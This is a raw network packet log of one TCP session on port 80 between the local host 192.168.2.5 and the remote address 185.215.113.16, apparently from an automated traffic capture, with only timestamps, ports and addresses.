Oct 23, 2024 15:49:23.172993898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173026085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173039913 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173039913 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173062086 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173069000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173095942 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173105955 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173130035 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173140049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173162937 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173183918 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173196077 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173222065 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173229933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173240900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173263073 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173281908 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173295021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173316956 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173329115 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173341990 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173362970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173379898 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173398018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173414946 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173433065 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173453093 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173466921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173480988 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173500061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173516989 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173533916 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173552036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173568010 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173584938 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173602104 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173615932 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173636913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173655033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173671961 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173691034 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173707008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173712969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173739910 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173758030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173774004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173788071 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173809052 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173823118 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173845053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173861027 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173878908 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173897982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173907995 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173927069 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173943043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.173949003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.173990965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.179706097 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.179766893 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.179785013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.179838896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.179841995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.179877043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.179892063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.179934025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.179934025 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.179986954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.179990053 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180020094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180039883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180057049 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180079937 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180098057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180104971 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180154085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180159092 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180190086 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180206060 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180229902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180252075 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180269003 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180274010 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180303097 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180321932 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180357933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180372953 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180402040 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180418015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180438995 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180458069 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180476904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180496931 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180516005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180536032 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180548906 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180571079 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180588007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180598974 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180623055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180639982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180656910 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180676937 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180696011 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180706024 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180752993 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180867910 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180900097 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180927038 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180933952 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.180948019 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.180985928 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181050062 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181103945 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181104898 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181149960 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181153059 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181186914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181204081 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181222916 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181232929 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181257010 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181274891 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181293964 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181310892 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181328058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181350946 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181365013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181374073 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181400061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181416988 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181435108 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181451082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181472063 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181490898 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181508064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181528091 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181540966 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181556940 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181576014 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181595087 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181607962 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181632996 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181665897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181672096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181724072 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181782961 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181838036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181840897 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181871891 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181890011 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181905031 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181919098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181942940 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181952953 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.181976080 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.181999922 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182025909 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182040930 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182060957 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182079077 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182117939 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182162046 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182199001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182218075 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182238102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182261944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182291985 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182291985 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182329893 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182346106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182365894 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182384968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182416916 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182420015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182446957 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182462931 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182470083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182477951 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182495117 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.182493925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182516098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182534933 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.182552099 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.189143896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189167023 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189182043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189218044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.189261913 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.189487934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189527988 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189538002 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.189544916 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189574003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.189593077 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.189604998 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189620018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.189649105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.189673901 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.235171080 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235197067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235217094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235263109 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235279083 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235296011 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235347033 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235362053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235377073 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235389948 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235405922 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235405922 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.235421896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235627890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.235779047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235794067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235802889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235886097 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.235927105 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235944033 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.235977888 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.236037970 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.261962891 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.261996984 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.262015104 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.262038946 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.262053967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.262069941 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.262073040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.262084961 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.262100935 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.262104034 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.262132883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.262160063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.284884930 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.284930944 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.284945965 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.284953117 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.284970045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.284977913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.284986019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.284993887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285003901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285012960 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285022974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285029888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285037041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285037994 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285048008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285056114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285064936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285072088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285079956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285087109 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285094976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285103083 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285200119 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285482883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285541058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285541058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285562038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285640001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285674095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285695076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285710096 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285720110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285722971 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285768032 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285768986 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285783052 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285790920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285800934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285823107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285837889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285845041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285860062 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285872936 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285883904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285897970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285902023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285914898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.285936117 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.285959959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.308051109 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308085918 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308114052 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308146954 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.308176041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.308546066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308569908 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308595896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308602095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.308619976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308633089 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.308644056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308664083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.308667898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.308696032 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.308716059 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.353897095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.353918076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.353945017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.353967905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.353981972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.353997946 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354015112 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354029894 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354046106 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354053020 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354098082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354238033 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354253054 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354269028 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354302883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354321957 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354340076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354356050 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354381084 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354413033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354675055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354690075 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354712963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354727983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354731083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354746103 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.354756117 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354794979 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.354965925 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.355012894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.380743980 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.380815983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.380831003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.380853891 CEST	80	49990	185.215.113.16	192.168.2.5
